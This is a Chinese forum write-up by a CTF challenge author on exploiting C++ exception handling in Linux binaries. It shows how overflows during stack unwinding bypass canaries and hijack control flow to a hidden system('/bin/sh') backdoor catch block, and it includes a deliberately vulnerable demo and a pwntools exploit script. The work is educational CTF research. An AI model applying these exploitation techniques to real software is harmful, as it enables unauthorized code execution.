首页
社区
课程
招聘
[原创]分享一次 C++ PWN 出题经历——深入研究异常处理机制
发表于: 2024-12-10 22:53 2244

[原创]分享一次 C++ PWN 出题经历——深入研究异常处理机制

2024-12-10 22:53
2244

本文由笔者首发于先知社区的技术文章板块:https://xz.aliyun.com/t/16652

本节内容针对 Linux 下的 C++ 异常处理机制,重点在于研究如何在异常处理流程中利用溢出漏洞,所以不对异常处理及 unwind 的过程做详细分析,只做简单介绍

异常机制中主要的三个关键字:throw 抛出异常,try 包含异常模块, catch 捕捉抛出的异常,它们一起构成了由 “抛出->捕捉->回退” 等步骤组成的整套异常处理机制

当一个异常被抛出时,就会立即引发 C++ 的异常捕获机制。异常被抛出后如果在当前函数内没能被 catch,该异常就会沿着函数的调用链继续往上抛,在调用链上的每一个函数中尝试找到相应的 catch 并执行其代码块,直到走完整个调用链。如果最终还是没能找到相应的 catch,那么程序会调用 std::terminate(),这个函数默认是把程序 abort

其中,从程序抛出异常开始,沿着函数的调用链找相应的 catch 代码块的整个过程叫作栈回退 stack unwind

回到对 C++ 异常处理机制进行利用的话题,下面开始调试一个 demo 来加深对异常处理机制的理解,目的是去验证下列两个想法的可行性:

demo 的源码如下

上述源码编译出来的可执行文件的保护如下,开了 canary 保护

输入点 buf 距离 rbp 的距离是 0x30

image-20240708170450929

所以测试输入长度分别为 0x31 和 0x39 的 PoC,发现会报不同的 crash,合理推测栈上的数据(例如 ret, rbp)会影响异常处理的流程

能发现无论怎么样都不会输出程序里写在 input() 函数里的 [+] input() return.

这是因为异常处理时从 __cxa_throw() 开始,之后进行 unwind, cleanup, handler, 程序不会再执行发生异常所在函数的剩余部分,会沿着函数调用链往回找能处理对应异常的最近的函数,然后回退至此函数执行其 catch 块后跟着往下运行,途径的函数的剩余部分也不会再执行,自然不会执行到出现异常的函数的 throw 后面的语句,更不会执行到这些函数的 ret

这里就能抛出一个思考了:对 canary 的检测一般在最后的函数返回处,那么在执行异常处理流程时不就能跳过 stack_check_fail() 这个调用了嘛?

image-20240711142258572

下面利用 poc1 = padding + '\x01' 覆盖 rbp 值,可以将断点断在 call _read 指令后面一点的位置,这样就能断下来了,在这里观察到 rbp 的低一字节已被成功篡改为 '\x01'

image-20240711122655006

继续运行至程序报错的位置,最后在 0x401506 这条 ret 指令处出了问题,是错误的返回地址导致的,记录下这个指令地址,后续可以将断点打在这里,观察是否能成功控制程序流

image-20240711122855980

根据这个指令的地址,可以在 IDA 中定位到这是异常处理结束后最终的 ret 指令,所以可以确定是在执行 main 的 handler 时 crash,那么上述报错出现的原因其实就很明显了,是因为最后执行的 leave; ret 使得 ret 的地址变成了 [rbp+8],导致不合法的返回地址。这也意味着在 handler 里就能够完成栈迁移,所以可以尝试通过篡改 rbp 实现控制程序执行提前布置好的 ROP 链

image-20240711163158364

接下来尝试劫持程序去执行 GOT 表里的函数

利用 poc2 = padding + p64(0x404050-0x8),运行到上述断点处发现成功调用到了 puts 函数

image-20240711123151272

证明第一种利用方式可行

但这种利用方式只适用于 “通过将 old_rbp 存储于栈中来保留现场” 的函数调用约定,以及需要出现异常的函数的 caller function 要存在处理对应异常的代码块,否则也会走到 terminate

为了调试上述说法,对 demo 作了修改,主要改动如下

这回同样是使用 poc2,但 crash 了

image-20240712131835926

对 demo 重新修改的部分如下

复现成功,这次是在 input 的 handler 里被劫持,而非在 main 了

image-20240712134110648

但是噢,如果是通过打返回地址劫持到另外一个函数的异常处理模块,是没有 “出现异常的函数的 caller function 要存在处理对应异常的代码块” 这层限制的,但这也是后话了

由于调用链 __cxa_throw -> _Unwind_RaiseException,在 unwind 函数里会取运行时栈上的返回地址 callee ret 来对整个调用链进行检查,它会在链上的函数里搜索 catch handler,若所有函数中都无对应类型的 catch 块,就会调用 __teminate() 终止进程。

利用 poc3 = poc2 + 'b'*8 调试一下后面的 unwind 函数的过程,一直运行至 _Unwind_RaiseException+463 发生了 crash,合理猜测是在这调用的函数里作的检测,所有可以观察下此时传参的情况,下断方式是 b *(&_Unwind_RaiseException+463)

image-20240711194350062

这个地方循环执行了几次

第一次,rdx -> 0x4000000000000000

image-20240712011202164

第二次,rdx -> 0x4013a7 (input()+162)

image-20240712012148249

第三次,rdx -> 0x6262626262626262 ('bbbbbbbb')

image-20240712012839855

再琢磨下异常处理机制,就能够发现另外一个利用点,就是假如函数A内有能够处理对应异常的 catch 块,是否可以通过影响运行时栈的函数调用链,即更改某 callee function ret 地址,从而能够成功执行到函数A的 handler 呢

下面尝试通过直接劫持 input() 函数的 ret, 可以发现在源码中有定义 backdoor() 函数,但程序中并没有一处存在对该后门函数的引用,利用 poc4 = poc2 + p64(0x401292+1) 尝试触发后门

这里将返回地址填充成了 backdoor() 函数里 try 代码块里的地址,它是一个范围,经测试能够成功利用的是一个左开右不确定的区间(x)

可以看见程序执行了后门函数的异常处理模块,复现成功,成功执行到了一个从未引用过的函数,而且程序从始至终都是开了 canary 保护的,这直接造成的栈溢出却能绕过 stack_check_fail() 这个函数对栈进行检测

image-20240711123749447

exp 如下

程序保护如下

这是一道非常具有迷惑性的题,大致意思是:出题人自行实现了一个 canary,并将它布置在系统 canary 上面 0x10 的地方,但所有 canary 相关的检测其实都是绕不过的,漏洞点是 launch() 函数处的栈溢出,触发点是 raise() 函数处的异常抛出,异常未能正确被捕获并处理,最终是能够避开对栈上 canary 的验证并利用析构函数 ROP

main() 函数逻辑如下

初始化 sys_canary 并读取用户输入的64个字节作为 user_canary,用来生成自定义 canary,第一个输入点的 user_canary 是往 .bss 段上写的

这段代码实现了 BOFApp 类的构造函数,首先调用基类构造函数实现了 BOFApp 对象基类部分的初始化,然后将 BOFApp 对象的虚函数表指针设置为 off_4ED510,使得对象能够正确调用其虚函数。通过调试发现,赋值语句执行前 this -> vtable for UnsafeApp+16,执行后 this -> vtable for BOFApp+16

创建一个 BOFApp 类的实例,然后调用 BOFApp构造函数初始化对象,跟进后面那个函数发现进行了 *a1 = v1 的操作

执行完 std::make_unique<BOFApp>((__int64)v6) 后,栈变量 v6 被重新赋值

image-20240713024135528

于是接下来调用的是 BOFApp::launch() 函数

在 IDA 里计算也是一样的,执行 (*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 0x10LL))(v4); 语句,即 call *(0x4ED510+0x10)

最后是对象的析构函数,里面要重点关注的函数的路径是 std::unique_ptr<BOFApp>::~unique_ptr() --> std::default_delete<BOFApp>::operator()(BOFApp*)这里存在函数指针调用,这意味着只需要控制 a2 的值就能控制程序流

通过逆向分析和调试可知参数 a2 与前面提到的栈变量 v6 有关,所以将断点打在 0x40340D,正常输入,调试一下看传参情况

image-20240714012712486

查看虚函数表指针 +0x8 位置处指向什么函数,0x4038b8

image-20240713032438043

再把断点打在 0x403909,看到这里确实调用到了上述函数

image-20240714021721469

第二个输入点存在栈溢出,调用链是 BOFApp::launch(void) --> ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char *)#1} const&) --> BOFApp::launch(void)::{lambda(char *)#1}::operator()(char *)

下列是 GPT 的解释

观察下这个 _isoc23_scanf() 函数,断点打在 0x403547 处观察数据写入的位置

image-20240713152044274

计算输入点与目标指针的距离为 0x70

image-20240713152347866

所以可以利用上述栈溢出去修改自定义 canary,来触发异常,栈回退避开对自定义 canary 和系统 canary 的检测,最后调用到析构函数

这样下来,思路就理清楚了,在 user_canary 处伪造虚函数表指向后门函数,然后利用溢出修改存储在栈上的 BOFApp 对象的虚函数表指针,即变量 v6,在此过程中自定义 canary 一定会被篡改,程序将会raise() 函数里抛出异常,这里是漏洞的触发点,调用链如下
BOFApp::launch(void) --> ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char *)#1} const&) --> ProtectedBuffer<64ul>::check(void) --> raise(char const*)

异常处理流程最终调用到的析构函数处存在指针调用,但此时指针已被我们提前利用溢出数据控好了,造成任意代码执行

可以直接动调一下 raise() 函数内部,然后再看看函数返回哪里呢。可以在一些地方下断点调试看看,比如 0x403291 处的抛出异常0x403432 处的调用析构函数,最后在 0x4038fc 出现 crash,原因是不合法的 RAX,它的值是 BOFApp 类对象指针 v6,这是可以利用溢出写到那的,所以是可控的,继续往下看后面的汇编,会发现只要控了 RAX 就能够控到 RDX,在最后的 call rdx; 处便能造成任意代码执行

image-20240713162506821

由于 user_canary 可控,可以尝试在这里伪造虚函数表并将指针劫持到这,这是构造好的 exp 运行到此处时的参数情况

image-20240713174704211

成功执行到后门函数

image-20240713174800878

另外提一嘴,上面提到了避开 canary 检测执行到析构函数,笔者是这样理解的:在程序正常运行时应该是在执行完 launch() 函数后执行析构函数,但在 raise() 函数里却有异常被抛出,而且回溯了整条函数调用链,包括 raise() 函数本身,都没看见有能处理此异常的 catch 代码块,合理猜测最终将会由 handler 执行析构函数,在此过程中自然也绕过了程序自身的 __stack_chk_fail_local 检测

其实在创建对象的函数里,创建对象时会有构造函数,函数返回处会有析构函数。但当该函数运行到一半就抛出了异常时,若在当前函数内不能正常捕捉异常,那这个函数剩下的部分便不会再被执行到了,自然也不会运行到函数返回处的那个析构函数。但是程序依旧是需要去运行析构函数销毁对象的,达到释放资源的目的,这种情况下应该是在 handler 中调用到析构函数的

最终的 exp 如下,还有一点要注意的是,中途覆盖到的函数返回地址是不能乱填的,具体原因详见前面的 “原理探究”,与 unwind() 函数里的检测有关,所以 ret 填回原来的 0x403407

成功劫持到后门,后门命令执行了 /readflag

image-20240713163929851

笔者作为 “2024羊城杯” PWN 方向出题人,自然要顺带唠一唠这道自己出的题目,虽谈不上巧妙(水平有限),但也有不少师傅反馈说受益匪浅

这道题从整体上来看算是中等难度,属于一道机制题,若是将上面的知识都了解透彻后,会做得很顺畅

由于从现在网上公开的文章里,能看到很多师傅都对这道题做了详细的分析,所以笔者主要讲点有意思的地方,不至于让读了文章的师傅空手而归,打算结合源码(上帝视角 XD)和逆向分析的效果对这道题进行剖析

首先这道题的创新点在于对抛出异常语句的篡改,最终通过溢出漏洞劫持到有后门的处理块 getshell

细心的师傅可能一下就能发现,trace 功能的实现里存在数组 oob 漏洞,毕竟这个 <= 怎么看都显得十分拙劣

image-20241209130647524

那上述越界能起到什么作用呢?byte_404020[] 数据的大小是 0x80,若能写入九次(0~8) 0x10 大小的数据,恰好能改掉下面 src[] 数组,这个数组存放了一个字符串 Buffer Overflow

image-20241209130816371

结合源码来看,这个字符串的作用是:在检测到溢出的时抛出 Buffer Overflow 字符串,而正常来说是由下面的 catch 块来处理这个异常,它接受的是 const char *s 类型的异常

1733721217757

warn 函数里存在大量的溢出写,紧随其后的是检查 read 的返回值(实际写入的字节数),那其实就在通过对 v0 的检测来判断是否有栈溢出了,所以在检测到存在溢出风险时会执行 if 模块,抛出异常

image-20241209131804486

然后被抛出的异常字符串就会被上面提到的 catch 块处理,效果是输出报错信息 [-] An exception of type String variable "Buffer Overflow" was caught...

image-20241209132349270

但是假如说若能够劫持到别的 catch 块进行处理呢?笔者预置了一个后门函数,其 catch (const char *s) 也能够捕获字符串类型的异常,劫持到这里即可,源码如下

image-20241209133506380

后门的 try 块地址是 0x401BC2,在下面有对 _system 的调用

image-20241209134010410

比较有意思的是 IDA 似乎对异常处理 catch 模块的解析有问题,可见对 strHandler() 函数的反编译效果如下,可以对比上面提供的源码

所以解题时只能够查看对 _system 函数的交叉引用,然后定位到具体位置后看汇编进行分析了

image-20241209134143547

梳理完毕,现在思路明确了,先是通过数组越界漏洞劫持字符串为 /bin/sh\x00,然后通过溢出漏洞劫持到后门 catch 进行异常处理,即 0x401BC2+1 的位置,最终执行到 system(/bin/sh)

exp 如下

// exception.cpp
// g++ exception.cpp -o exc -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void backdoor()
{
    try
    {
        printf("We have never called this backdoor!");
    }
    catch (const char *s)
    {
        printf("[!] Backdoor has catched the exception: %s\n", s);
        system("/bin/sh");
    }
}
 
class x
{
public:
    char buf[0x10];
    x(void)
    {
        // printf("x:x() called!\n");
    }
    ~x(void)
    {
        // printf("x:~x() called!\n");
    }
};
 
void input()
{
    x tmp;
    printf("[!] enter your input:");
    fflush(stdout);
    int count = 0x100;
    size_t len = read(0, tmp.buf, count);
    if (len > 0x10)
    {
        throw "Buffer overflow.";
    }
    printf("[+] input() return.\n");
}
 
int main()
{
    try
    {
        input();
        printf("--------------------------------------\n");
        throw 1;
    }
    catch (int x)
    {
        printf("[-] Int: %d\n", x);
    }
    catch (const char *s)
    {
        printf("[-] String: %s\n", s);
    }
    printf("[+] main() return.\n");
    return 0;
}
// exception.cpp
// g++ exception.cpp -o exc -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void backdoor()
{
    try
    {
        printf("We have never called this backdoor!");
    }
    catch (const char *s)
    {
        printf("[!] Backdoor has catched the exception: %s\n", s);
        system("/bin/sh");
    }
}
 
class x
{
public:
    char buf[0x10];
    x(void)
    {
        // printf("x:x() called!\n");
    }
    ~x(void)
    {
        // printf("x:~x() called!\n");
    }
};
 
void input()
{
    x tmp;
    printf("[!] enter your input:");
    fflush(stdout);
    int count = 0x100;
    size_t len = read(0, tmp.buf, count);
    if (len > 0x10)
    {
        throw "Buffer overflow.";
    }
    printf("[+] input() return.\n");
}
 
int main()
{
    try
    {
        input();
        printf("--------------------------------------\n");
        throw 1;
    }
    catch (int x)
    {
        printf("[-] Int: %d\n", x);
    }
    catch (const char *s)
    {
        printf("[-] String: %s\n", s);
    }
    printf("[+] main() return.\n");
    return 0;
}
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
ve1kcon@wsl:~$ cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
ve1kcon@wsl:~$ cyclic 56
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa
ve1kcon@wsl:~$ cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
ve1kcon@wsl:~$ cyclic 56
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa
.got.plt:0000000000404040 off_404040      dq offset fflush        ; DATA XREF: _fflush+4↑r
.got.plt:0000000000404048 off_404048      dq offset read          ; DATA XREF: _read+4↑r
.got.plt:0000000000404050 off_404050      dq offset puts          ; DATA XREF: _puts+4↑r
.got.plt:0000000000404058 off_404058      dq offset __cxa_end_catch
.got.plt:0000000000404040 off_404040      dq offset fflush        ; DATA XREF: _fflush+4↑r
.got.plt:0000000000404048 off_404048      dq offset read          ; DATA XREF: _read+4↑r
.got.plt:0000000000404050 off_404050      dq offset puts          ; DATA XREF: _puts+4↑r
.got.plt:0000000000404058 off_404058      dq offset __cxa_end_catch
void test()
{
 x tmp;
 printf("[!] enter your input:");
 fflush(stdout);
 int count = 0x100;
 size_t len = read(0, tmp.buf, count);
 if (len > 0x10)
 {
     throw "Buffer overflow.";
 }
 printf("[+] test() return.\n");
}
 
void input()
{
 test();
 printf("[+] input() return.\n");
}
void test()
{
 x tmp;
 printf("[!] enter your input:");
 fflush(stdout);
 int count = 0x100;
 size_t len = read(0, tmp.buf, count);
 if (len > 0x10)
 {
     throw "Buffer overflow.";
 }
 printf("[+] test() return.\n");
}
 
void input()
{
 test();
 printf("[+] input() return.\n");
}
void input()
{
 try
 {
     test();
 }
 catch (const char *s)
 {
     printf("[-] String(From input): %s\n", s);
 }
 printf("[+] input() return.\n");
}
void input()
{
 try
 {
     test();
 }
 catch (const char *s)
 {
     printf("[-] String(From input): %s\n", s);
 }
 printf("[+] input() return.\n");
}
.text:0000000000401283                 lea     rax, format     ; "We have never called this backdoor!"
.text:000000000040128A                 mov     rdi, rax        ; format
.text:000000000040128D                 mov     eax, 0
.text:0000000000401292 ;   try {
.text:0000000000401292                 call    _printf
.text:0000000000401292 ;   } // starts at 401292
.text:0000000000401297                 jmp     short loc_4012FF
.text:0000000000401283                 lea     rax, format     ; "We have never called this backdoor!"
.text:000000000040128A                 mov     rdi, rax        ; format
.text:000000000040128D                 mov     eax, 0
.text:0000000000401292 ;   try {
.text:0000000000401292                 call    _printf
.text:0000000000401292 ;   } // starts at 401292
.text:0000000000401297                 jmp     short loc_4012FF
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './exc'
p = process(pwnfile)
 
def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()
 
def exp():
    # debug('b *0x401371')              # call _read
    # b __cxa_throw@plt
    # b *0x401506                       # handler ret
    # b *(&_Unwind_RaiseException+463)  # check ret
    test = 'a'*5
    padding = 'a'*0x30
    # poc = padding + '\n'
    poc1 = padding + '\x01'
    poc2 = padding + p64(0x404050-0x8)
    poc3 = poc2 + 'b'*8
    poc4 = poc2 + p64(0x401292+1)
    p.sendafter('input:', poc4)
 
exp()
p.interactive()
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './exc'
p = process(pwnfile)
 
def debug(content=None):

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 5
支持
分享
打赏 + 21.00雪花
打赏次数 2 雪花 + 21.00
 
赞赏  starrysky_   +20.00 2024/12/10 精品文章~
赞赏  益清   +1.00 2024/12/10 感谢分享~
最新回复 (6)
雪    币: 15
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
宝宝好棒
2024-12-10 22:56
2
雪    币: 194
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
太帅了

i got ring
2024-12-10 22:59
1
雪    币: 65
活跃值: (472)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
4
mark
1天前
0
雪    币: 3569
活跃值: (1005)
能力值: ( LV7,RANK:140 )
在线值:
发帖
回帖
粉丝
5
您好,我有个问题想问下,'异常处理时从 __cxa_throw() 开始,之后进行 unwind, cleanup, handler, 程序不会再执行发生异常所在函数的剩余部分' ,既然如此程序触发异常的时候也不会走到leave ret,而你的溢出劫持ret的前提是程序触发异常会走到leave ret,是不是前后矛盾了,还是我忽略了什么?。。。
1天前
1
雪    币: 1983
活跃值: (115)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
SleepAlone 您好,我有个问题想问下,'异常处理时从 __cxa_throw() 开始,之后进行 unwind, cleanup, handler, 程序不会再执行发生异常所在函数的剩余部分' ,既然如此程序触发异 ...
1. 您好,首先我们清楚每个函数中基本都会存在leave; ret,因为我们会需要这个语句去恢复caller函数的现场,那么走到的leave; ret不一定是在“发生异常所在函数的剩余部分”里,而是在处理异常的模块里面。

2. 说得通俗易懂一点,假设函数A执行到一半时,抛出了一个异常,那就走异常处理的流程,程序该正常退出就正常退出,该继续运行就继续运行(设置异常处理的目的不正是为了在发现程序存在异常的时候,能够在程序员可控范围内处理掉,然后让程序继续正常运行吗)。此时假设是函数B调用了函数A,且在函数B中写好了:如果函数A里面出现了异常,就怎么处理。那么处理完以后,按常理来说,是不是应该返回到函数B里面继续运行?若是要恢复函数B的现场,自然需要用到leave; ret,那么这个语句会存在于处理异常的模块里面也是合理的。

以上面的demo举例:main函数调用了input函数,且处理了异常:try { input(); ... } catch{ ... },那么处理完以后,会去执行到“printf("[+] main() return.\n"); return 0;”。

3. 然后我们回看文章的描述是“在执行 main 的 handler 时 crash”(摘自下面这一段),说明在调试时发现,所执行到的leave; ret语句,不在发生异常所在函数里。
“根据这个指令的地址,可以在 IDA 中定位到这是异常处理结束后最终的 ret 指令,所以可以确定是在执行 main 的 handler 时 crash,那么上述报错出现的原因其实就很明显了,是因为最后执行的 leave; ret 使得 ret 的地址变成了 [rbp+8],导致不合法的返回地址。”

最后衷心感谢您的阅读和反馈。
10小时前
0
雪    币: 3569
活跃值: (1005)
能力值: ( LV7,RANK:140 )
在线值:
发帖
回帖
粉丝
7
谢谢大佬的回复,写的很详细。我大概理解了,就是input()中的ret应该是不会执行到,因为input()发生异常cxx_handler4开始unwind,匹配之前的栈帧有没有可以处理当前异常的函数,如果有则进入异常处理函数,因此这里到了main函数的catch块里,然后一路执行到leave ret。我一开始有疑问,是因为我把leave ret的位置看错了,我以为在input()。反正得出结论input()触发异常后的指令不会执行。

最后衷心感谢您的回复。
8小时前
0
游客
登录 | 注册 方可回帖
返回
//